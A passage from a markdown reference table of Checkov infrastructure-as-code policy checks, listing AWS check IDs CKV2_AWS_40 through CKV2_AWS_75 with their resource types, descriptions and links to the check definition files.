                                          | Terraform               | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml)                                                           |\n| 2424 | CKV2_AWS_40              | resource                         | aws_ssoadmin_permission_set_inline_policy                                                        | Ensure AWS IAM policy does not allow full IAM privileges                                                                                                                                                 | Terraform               | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml)                                                           |\n| 2425 | CKV2_AWS_40              | resource                         | data.aws_iam_policy_document                                                                     | Ensure AWS IAM policy does not allow full IAM privileges                                                                                                                                                 | Terraform               | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml)                                                           |\n| 2426 | CKV2_AWS_41              | resource                         | aws_instance                                                                                     | Ensure an IAM role is attached to EC2 instance                                                                                                                                                           | Terraform               | [EC2InstanceHasIAMRoleAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EC2InstanceHasIAMRoleAttached.yaml)                                                             |\n| 2427 | CKV2_AWS_42              | resource                         | aws_cloudfront_distribution                                                                      | Ensure AWS CloudFront distribution uses custom SSL certificate                                                                                                                                           | Terraform               | [CloudFrontHasCustomSSLCertificate.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontHasCustomSSLCertificate.yaml)                                                     |\n| 2428 | CKV2_AWS_43              | resource                         | aws_s3_bucket_acl                                                                                | Ensure S3 Bucket does not allow access to all Authenticated users                                                                                                                                        | Terraform               | [S3NotAllowAccessToAllAuthenticatedUsers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3NotAllowAccessToAllAuthenticatedUsers.yaml)                                         |\n| 2429 | CKV2_AWS_44              | resource                         | aws_route                                                                                        | Ensure AWS route table with VPC peering does not contain routes overly permissive to all traffic                                                                                                         | Terraform               | [VPCPeeringRouteTableOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCPeeringRouteTableOverlyPermissive.yaml)                                               |\n| 2430 | CKV2_AWS_44              | resource                         | aws_route_table                                                                                  | Ensure AWS route table with VPC peering does not contain routes overly permissive to all traffic                                                                                                         | Terraform               | [VPCPeeringRouteTableOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCPeeringRouteTableOverlyPermissive.yaml)                                               |\n| 2431 | CKV2_AWS_45              | resource                         | aws_config_configuration_recorder                                                                | Ensure AWS Config recorder is enabled to record all supported resources                                                                                                                                  | Terraform               | [AWSConfigRecorderEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSConfigRecorderEnabled.yaml)                                                                       |\n| 2432 | CKV2_AWS_45              | resource                         | aws_config_configuration_recorder_status                                                         | Ensure AWS Config recorder is enabled to record all supported resources                                                                                                                                  | Terraform               | [AWSConfigRecorderEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSConfigRecorderEnabled.yaml)                                                                       |\n| 2433 | CKV2_AWS_46              | resource                         | aws_cloudfront_distribution                                                                      | Ensure AWS CloudFront Distribution with S3 have Origin Access set to enabled                                                                                                                             | Terraform               | [CLoudFrontS3OriginConfigWithOAI.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CLoudFrontS3OriginConfigWithOAI.yaml)                                                         |\n| 2434 | CKV2_AWS_47              | resource                         | aws_cloudfront_distribution                                                                      | Ensure AWS CloudFront attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                               | Terraform               | [CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml)                       |\n| 2435 | CKV2_AWS_47              | resource                         | aws_wafv2_web_acl                                                                                | Ensure AWS CloudFront attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                               | Terraform               | [CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml)                       |\n| 2436 | CKV2_AWS_48              | resource                         | aws_config_configuration_recorder                                                                | Ensure AWS Config must record all possible resources                                                                                                                                                     | Terraform               | [ConfigRecorderRecordsAllGlobalResources.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ConfigRecorderRecordsAllGlobalResources.yaml)                                         |\n| 2437 | CKV2_AWS_49              | resource                         | aws_dms_endpoint                                                                                 | Ensure AWS Database Migration Service endpoints have SSL configured                                                                                                                                      | Terraform               | [DMSEndpointHaveSSLConfigured.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/DMSEndpointHaveSSLConfigured.yaml)                                                               |\n| 2438 | CKV2_AWS_50              | resource                         | aws_elasticache_replication_group                                                                | Ensure AWS ElastiCache Redis cluster with Multi-AZ Automatic Failover feature set to enabled                                                                                                             | Terraform               | [ElastiCacheRedisConfiguredAutomaticFailOver.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ElastiCacheRedisConfiguredAutomaticFailOver.yaml)                                 |\n| 2439 | CKV2_AWS_51              | resource                         | aws_api_gateway_stage                                                                            | Ensure AWS API Gateway endpoints uses client certificate authentication                                                                                                                                  | Terraform               | [APIGatewayEndpointsUsesCertificateForAuthentication.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayEndpointsUsesCertificateForAuthentication.yaml)                 |\n| 2440 | CKV2_AWS_51              | resource                         | aws_apigatewayv2_api                                                                             | Ensure AWS API Gateway endpoints uses client certificate authentication                                                                                                                                  | Terraform               | [APIGatewayEndpointsUsesCertificateForAuthentication.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayEndpointsUsesCertificateForAuthentication.yaml)                 |\n| 2441 | CKV2_AWS_51              | resource                         | aws_apigatewayv2_stage                                                                           | Ensure AWS API Gateway endpoints uses client certificate authentication                                                                                                                                  | Terraform               | [APIGatewayEndpointsUsesCertificateForAuthentication.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayEndpointsUsesCertificateForAuthentication.yaml)                 |\n| 2442 | CKV2_AWS_52              | resource                         | aws_elasticsearch_domain                                                                         | Ensure AWS ElasticSearch/OpenSearch Fine-grained access control is enabled                                                                                                                               | Terraform               | [OpenSearchDomainHasFineGrainedControl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/OpenSearchDomainHasFineGrainedControl.yaml)                                             |\n| 2443 | CKV2_AWS_52              | resource                         | aws_opensearch_domain                                                                            | Ensure AWS ElasticSearch/OpenSearch Fine-grained access control is enabled                                                                                                                               | Terraform               | [OpenSearchDomainHasFineGrainedControl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/OpenSearchDomainHasFineGrainedControl.yaml)                                             |\n| 2444 | CKV2_AWS_53              | resource                         | aws_api_gateway_method                                                                           | Ensure AWS API gateway request is validated                                                                                                                                                              | Terraform               | [APIGatewayRequestParameterValidationEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayRequestParameterValidationEnabled.yaml)                                 |\n| 2445 | CKV2_AWS_54              | resource                         | aws_cloudfront_distribution                                                                      | Ensure AWS CloudFront distribution is using secure SSL protocols for HTTPS communication                                                                                                                 | Terraform               | [CloudFrontUsesSecureProtocolsForHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontUsesSecureProtocolsForHTTPS.yaml)                                             |\n| 2446 | CKV2_AWS_55              | resource                         | aws_emr_cluster                                                                                  | Ensure AWS EMR cluster is configured with security configuration                                                                                                                                         | Terraform               | [EMRClusterHasSecurityConfiguration.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EMRClusterHasSecurityConfiguration.yaml)                                                   |\n| 2447 | CKV2_AWS_56              | resource                         | aws_iam_group_policy_attachment                                                                  | Ensure AWS Managed IAMFullAccess IAM policy is not used.                                                                                                                                                 | Terraform               | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml)                                                             |\n| 2448 | CKV2_AWS_56              | resource                         | aws_iam_policy_attachment                                                                        | Ensure AWS Managed IAMFullAccess IAM policy is not used.                                                                                                                                                 | Terraform               | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml)                                                             |\n| 2449 | CKV2_AWS_56              | resource                         | aws_iam_role                                                                                     | Ensure AWS Managed IAMFullAccess IAM policy is not used.                                                                                                                                                 | Terraform               | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml)                                                             |\n| 2450 | CKV2_AWS_56              | resource                         | aws_iam_role_policy_attachment                                                                   | Ensure AWS Managed IAMFullAccess IAM policy is not used.                                                                                                                                                 | Terraform               | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml)                                                             |\n| 2451 | CKV2_AWS_56              | resource                         | aws_iam_user_policy_attachment                                                                   | Ensure AWS Managed IAMFullAccess IAM policy is not used.                                                                                                                                                 | Terraform               | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml)                                                             |\n| 2452 | CKV2_AWS_56              | resource                         | aws_ssoadmin_managed_policy_attachment                                                           | Ensure AWS Managed IAMFullAccess IAM policy is not used.                                                                                                                                                 | Terraform               | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml)                                                             |\n| 2453 | CKV2_AWS_56              | resource                         | data.aws_iam_policy                                                                              | Ensure AWS Managed IAMFullAccess IAM policy is not used.                                                                                                                                                 | Terraform               | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml)                                                             |\n| 2454 | CKV2_AWS_57              | resource                         | aws_secretsmanager_secret                                                                        | Ensure Secrets Manager secrets should have automatic rotation enabled                                                                                                                                    | Terraform               | [SecretsAreRotated.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SecretsAreRotated.yaml)                                                                                     |\n| 2455 | CKV2_AWS_58              | resource                         | aws_neptune_cluster                                                                              | Ensure AWS Neptune cluster deletion protection is enabled                                                                                                                                                | Terraform               | [NeptuneDeletionProtectionEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/NeptuneDeletionProtectionEnabled.yaml)                                                       |\n| 2456 | CKV2_AWS_59              | resource                         | aws_elasticsearch_domain                                                                         | Ensure ElasticSearch/OpenSearch has dedicated master node enabled                                                                                                                                        | Terraform               | [ElasticSearchDedicatedMasterEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ElasticSearchDedicatedMasterEnabled.yaml)                                                 |\n| 2457 | CKV2_AWS_59              | resource                         | aws_opensearch_domain                                                                            | Ensure ElasticSearch/OpenSearch has dedicated master node enabled                                                                                                                                        | Terraform               | [ElasticSearchDedicatedMasterEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ElasticSearchDedicatedMasterEnabled.yaml)                                                 |\n| 2458 | CKV2_AWS_60              | resource                         | aws_db_instance                                                                                  | Ensure RDS instance with copy tags to snapshots is enabled                                                                                                                                               | Terraform               | [RDSEnableCopyTagsToSnapshot.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/RDSEnableCopyTagsToSnapshot.yaml)                                                                 |\n| 2459 | CKV2_AWS_61              | resource                         | aws_s3_bucket                                                                                    | Ensure that an S3 bucket has a lifecycle configuration                                                                                                                                                   | Terraform               | [S3BucketLifecycle.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketLifecycle.yaml)                                                                                     |\n| 2460 | CKV2_AWS_62              | resource                         | aws_s3_bucket                                                                                    | Ensure S3 buckets should have event notifications enabled                                                                                                                                                | Terraform               | [S3BucketEventNotifications.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketEventNotifications.yaml)                                                                   |\n| 2461 | CKV2_AWS_63              | resource                         | aws_networkfirewall_firewall                                                                     | Ensure Network firewall has logging configuration defined                                                                                                                                                | Terraform               | [NetworkFirewallHasLogging.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/NetworkFirewallHasLogging.yaml)                                                                     |\n| 2462 | CKV2_AWS_64              | resource                         | aws_kms_key                                                                                      | Ensure KMS key Policy is defined                                                                                                                                                                         | Terraform               | [KmsKeyPolicyIsDefined.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/KmsKeyPolicyIsDefined.yaml)                                                                             |\n| 2463 | CKV2_AWS_65              | resource                         | aws_s3_bucket_ownership_controls                                                                 | Ensure access control lists for S3 buckets are disabled                                                                                                                                                  | Terraform               | [AWSdisableS3ACL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSdisableS3ACL.yaml)                                                                                         |\n| 2464 | CKV2_AWS_66              | resource                         | aws_mwaa_environment                                                                             | Ensure MWAA environment is not publicly accessible                                                                                                                                                       | Terraform               | [AWS_private_MWAA_environment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWS_private_MWAA_environment.yaml)                                                               |\n| 2465 | CKV2_AWS_68              | resource                         | AWS::IAM::Role                                                                                   | Ensure SageMaker notebook instance IAM policy is not overly permissive                                                                                                                                   | Cloudformation          | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml)                          |\n| 2466 | CKV2_AWS_68              | resource                         | AWS::SageMaker::NotebookInstance                                                                 | Ensure SageMaker notebook instance IAM policy is not overly permissive                                                                                                                                   | Cloudformation          | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml)                          |\n| 2467 | CKV2_AWS_68              | resource                         | aws_iam_role                                                                                     | Ensure SageMaker notebook instance IAM policy is not overly permissive                                                                                                                                   | Terraform               | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml)                           |\n| 2468 | CKV2_AWS_68              | resource                         | aws_sagemaker_notebook_instance                                                                  | Ensure SageMaker notebook instance IAM policy is not overly permissive                                                                                                                                   | Terraform               | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml)                           |\n| 2469 | CKV2_AWS_69              | resource                         | AWS::RDS::DBInstance                                                                             | Ensure AWS RDS database instance configured with encryption in transit                                                                                                                                   | Cloudformation          | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/RDSEncryptionInTransit.yaml)                                                                          |\n| 2470 | CKV2_AWS_69              | resource                         | AWS::RDS::DBParameterGroup                                                                       | Ensure AWS RDS database instance configured with encryption in transit                                                                                                                                   | Cloudformation          | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/RDSEncryptionInTransit.yaml)                                                                          |\n| 2471 | CKV2_AWS_69              | resource                         | aws_db_instance                                                                                  | Ensure AWS RDS database instance configured with encryption in transit                                                                                                                                   | Terraform               | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/RDSEncryptionInTransit.yaml)                                                                           |\n| 2472 | CKV2_AWS_69              | resource                         | aws_db_parameter_group                                                                           | Ensure AWS RDS database instance configured with encryption in transit                                                                                                                                   | Terraform               | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/RDSEncryptionInTransit.yaml)                                                                           |\n| 2473 | CKV2_AWS_70              | resource                         | aws_api_gateway_method                                                                           | Ensure API gateway method has authorization or API key set                                                                                                                                               | Terraform               | [APIGatewayMethodWOAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayMethodWOAuth.py)                                                                                   |\n| 2474 | CKV2_AWS_71              | resource                         | AWS::CertificateManager::Certificate                                                             | Ensure AWS ACM Certificate domain name does not include wildcards                                                                                                                                        | Cloudformation          | [ACMWildcardDomainName.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/ACMWildcardDomainName.yaml)                                                                            |\n| 2475 | CKV2_AWS_71              | resource                         | aws_acm_certificate                                                                              | Ensure AWS ACM Certificate domain name does not include wildcards                                                                                                                                        | Terraform               | [ACMWildcardDomainName.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ACMWildcardDomainName.yaml)                                                                             |\n| 2476 | CKV2_AWS_72              | resource                         | AWS::CloudFront::Distribution                                                                    | Ensure AWS CloudFront origin protocol policy enforces HTTPS-only                                                                                                                                         | Cloudformation          | [CloudfrontOriginNotHTTPSOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/CloudfrontOriginNotHTTPSOnly.yaml)                                                              |\n| 2477 | CKV2_AWS_72              | resource                         | aws_cloudfront_distribution                                                                      | Ensure AWS CloudFront origin protocol policy enforces HTTPS-only                                                                                                                                         | Terraform               | [CloudfrontOriginNotHTTPSOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudfrontOriginNotHTTPSOnly.yaml)                                                               |\n| 2478 | CKV2_AWS_73              | resource                         | aws_sqs_queue                                                                                    | Ensure AWS SQS uses CMK not AWS default keys for encryption                                                                                                                                              | Terraform               | [SQSEncryptionCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SQSEncryptionCMK.yaml)                                                                                       |\n| 2479 | CKV2_AWS_74              | resource                         | aws_alb_listener                                                                                 | Ensure AWS Load Balancers use strong ciphers                                                                                                                                                             | Terraform               | [LBWeakCiphers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBWeakCiphers.yaml)                                                                                             |\n| 2480 | CKV2_AWS_74              | resource                         | aws_lb_listener                                                                                  | Ensure AWS Load Balancers use strong ciphers                                                                                                                                                             | Terraform               | [LBWeakCiphers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBWeakCiphers.yaml)                                                                                             |\n| 2481 | CKV2_AWS_75              | resource                         | AWS::Lambda::Function                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2482 | CKV2_AWS_75              | resource                         | AWS::Lambda::Url                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2483 | CKV2_AWS_75              | resource                         | aws                                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2484 | CKV2_AWS_75              | resource                         | aws                                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2485 | CKV2_AWS_75              | resource                         | aws_accessanalyzer_analyzer                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2486 | CKV2_AWS_75              | resource                         | aws_accessanalyzer_analyzer                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2487 | CKV2_AWS_75              | resource                         | aws_accessanalyzer_archive_rule                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2488 | CKV2_AWS_75              | resource                         | aws_accessanalyzer_archive_rule                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2489 | CKV2_AWS_75              | resource                         | aws_account_alternate_contact                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2490 | CKV2_AWS_75              | resource                         | aws_account_alternate_contact                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2491 | CKV2_AWS_75              | resource                         | aws_account_primary_contact                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2492 | CKV2_AWS_75              | resource                         | aws_account_primary_contact                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2493 | CKV2_AWS_75              | resource                         | aws_account_region                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2494 | CKV2_AWS_75              | resource                         | aws_account_region                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2495 | CKV2_AWS_75              | resource                         | aws_acm_certificate                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2496 | CKV2_AWS_75              | resource                         | aws_acm_certificate                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2497 | CKV2_AWS_75              | resource                         | aws_acm_certificate_validation                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2498 | CKV2_AWS_75              | resource                         | aws_acm_certificate_validation                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2499 | CKV2_AWS_75              | resource                         | aws_acmpca_certificate                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2500 | CKV2_AWS_75              | resource                         | aws_acmpca_certificate                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2501 | CKV2_AWS_75              | resource                         | aws_acmpca_certificate_authority                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2502 | CKV2_AWS_75              | resource                         | aws_acmpca_certificate_authority                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2503 | CKV2_AWS_75              | resource                         | aws_acmpca_certificate_authority_certificate                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2504 | CKV2_AWS_75              | resource                         | aws_acmpca_certificate_authority_certificate                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2505 | CKV2_AWS_75              | resource                         | aws_acmpca_permission                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2506 | CKV2_AWS_75              | resource                         | aws_acmpca_permission                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2507 | CKV2_AWS_75              | resource                         | aws_acmpca_policy                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2508 | CKV2_AWS_75              | resource                         | aws_acmpca_policy                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2509 | CKV2_AWS_75              | resource                         | aws_alb                                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2510 | CKV2_AWS_75              | resource                         | aws_alb                                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | 